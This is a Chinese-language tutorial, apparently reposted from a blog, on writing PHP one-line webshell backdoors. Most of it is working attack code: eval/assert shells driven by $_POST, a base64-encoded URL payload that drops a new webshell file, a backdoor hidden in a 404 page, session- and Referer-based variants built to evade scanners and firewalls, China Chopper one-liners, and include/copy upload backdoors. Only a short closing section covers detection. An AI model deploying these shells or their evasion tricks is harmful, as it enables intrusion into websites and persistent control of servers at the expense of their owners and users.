php一句话怎么写_PHP一句话木马后门
在我們進行滲透測試的最后階段,入侵到內網里,無論是想要瀏覽網站結構,還是抓取數據庫,或者是掛個木馬等等,到最后最常用的就是執行一句話木馬,從客戶端輕松連接服務器。
一句話木馬的原理很簡單,造型也很簡單,所以造成了它理解起來容易,抵御起來也容易。于是黑白的較量變成了黑帽不斷的構造變形的后門,去隱蔽特征,而白帽則不斷的更新過濾方法,建起更高的城墻。
一、原理簡述
對于不同的語言有不同的構造方法。
基本構造:最開頭構造的是腳本開始的標記
核心部分:獲取并執行得到的內容,通常類似eval、execute等
被執行內容:一般是http等協議接受的值,通常類似request、$_POST等
如果我們通過客戶端向服務器發送被執行內容,那么就會讓服務器執行我們發送的腳本,掛馬就實現了。
/*asp一句話木馬*/
/*php一句話木馬*/
/*aspx一句話木馬*/
黑帽子的目的,就是想盡辦法給目標網站插入這么一段會被儲存起來的語句。可以是一個單獨的腳本文件文件(.asp 、.php、.aspx ),或者是隱藏在某些網頁下的文件、代碼等。其中的value 就是客戶端要發送的內容,然后通過客戶端與服務器建立連接,發送控制腳本。也會涉及到一些任意文件上傳漏洞等。
二、簡單變形
很明顯的 eval 可以成為一個靜態特征碼,webshell掃描工具可以以此為關鍵詞,掃描到這種木馬加以屏蔽。于是可以簡單變形不出現eval:
同理,傳給a值為 @base64_decode(base64編碼過后的eval)。
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
通過對GET請求的URL構造而形成利用,左括號和右括號是URL編碼,解碼回來如下:
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
PHP接收到GET請求后相當于執行一個assert函數,并把b作為assert的參數。b里面使用略php的base64解碼函數,把部分信息通過base64編碼而繞過掃描,解碼后如下:
?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};
執行后當前目錄生成c.php文件并寫入一句話木馬,這已經算是一個非常隱蔽的木馬了。而在PHP 后門的變形之路上,遠遠不止這些,甚至可以自己定義一個加密解密的函數,或者是利用xor, 字符串翻轉,壓縮,截斷重組等等方法來繞過。
三、變形改良
1.404頁面隱藏木馬
404 Not FoundNot Found
The requested URL was not found on this server.
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
一般404頁面放好后,很少有人會定期對404頁面進行檢查和修改。如果在404頁面掛上了一句話后門,一方面不會被發現,另一方面,黑帽子很容易能定位到并連接上服務器。
2.無特征隱藏PHP后門
利用session:
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
利用$_SEESION變量來繞過掃描,將$_POST['code']賦值給$_SESSION['theCode'],然后eval執行SESSION的內容。
利用HTTP_REFERER:
利用請求中的HTTP_REFERER來運行經過base64編碼的代碼,達到后門的效果,使用兩個文件。
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
//2.php
header('Content-type:text/html;charset=utf-8');
//要執行的代碼
$code = <<
phpinfo();
CODE;
//進行base64編碼
$code = base64_encode($code);
//構造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后門url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = [
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
];
curl_setopt_array($ch, $options);
echo curl_exec($ch);
訪問2.php,會構造一個會話,進到后門1.php那里。然后在HTTP_REFERER 的內容也會傳遞給1.php,通過1.php 執行內容。一般來說,防火墻會對 referer字段寬松一些,就可造成繞過。
3.常見的后門
//菜刀一句話
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//危險的include函數,直接編譯任何文件為php格式運行
$filename=$_GET['xbid'];
include ($filename);
//重命名任何文件
$reg="c"."o"."p"."y";
$reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);
//菜刀一句話
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//gif插一句話
//危險的include函數,直接編譯任何文件為php格式運行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
include ($uid);
//典型一句話
//使用lanker一句話客戶端的專家模式執行相關的php語句
$_POST['a']($_POST['b']);?>
$_POST['a']($_POST['b'],$_POST['c'])?>
//使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入
h=@eval_r($_POST1);
//繞過<?限制的一句話
四、攻防
攻方:利用各種各樣的繞過姿勢,都是試圖讓掃描工具無效。
守方:分析各種各樣的函數,尋找有效的特征碼來防止后門。
黑帽子大牛:深入web框架內核,挖掘出代碼缺陷,構造出復雜的后門利用。
安全審計人員:對那些通過GET,POST 獲取的超全局變量,進行細致的追蹤,構造合適的過濾器。
語義分析:對GET POST 等獲取的值進行污染點追蹤,以確保這些用戶可控的值,不會未經過濾就得到了執行,或是進入數據庫中。
針對超全局變量進行語義分析:
$_GET
$_POST
$_REQUEST
$_SERVER
$_FILES
$_COOKIE
$_SESSION
$_ENV
$GLOBALS
總結
以上是生活随笔為你收集整理的php一句话怎么写_PHP一句话木马后门的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java net php_Java.ne
- 下一篇: dr优先级默认_OSPF中的DR/BDR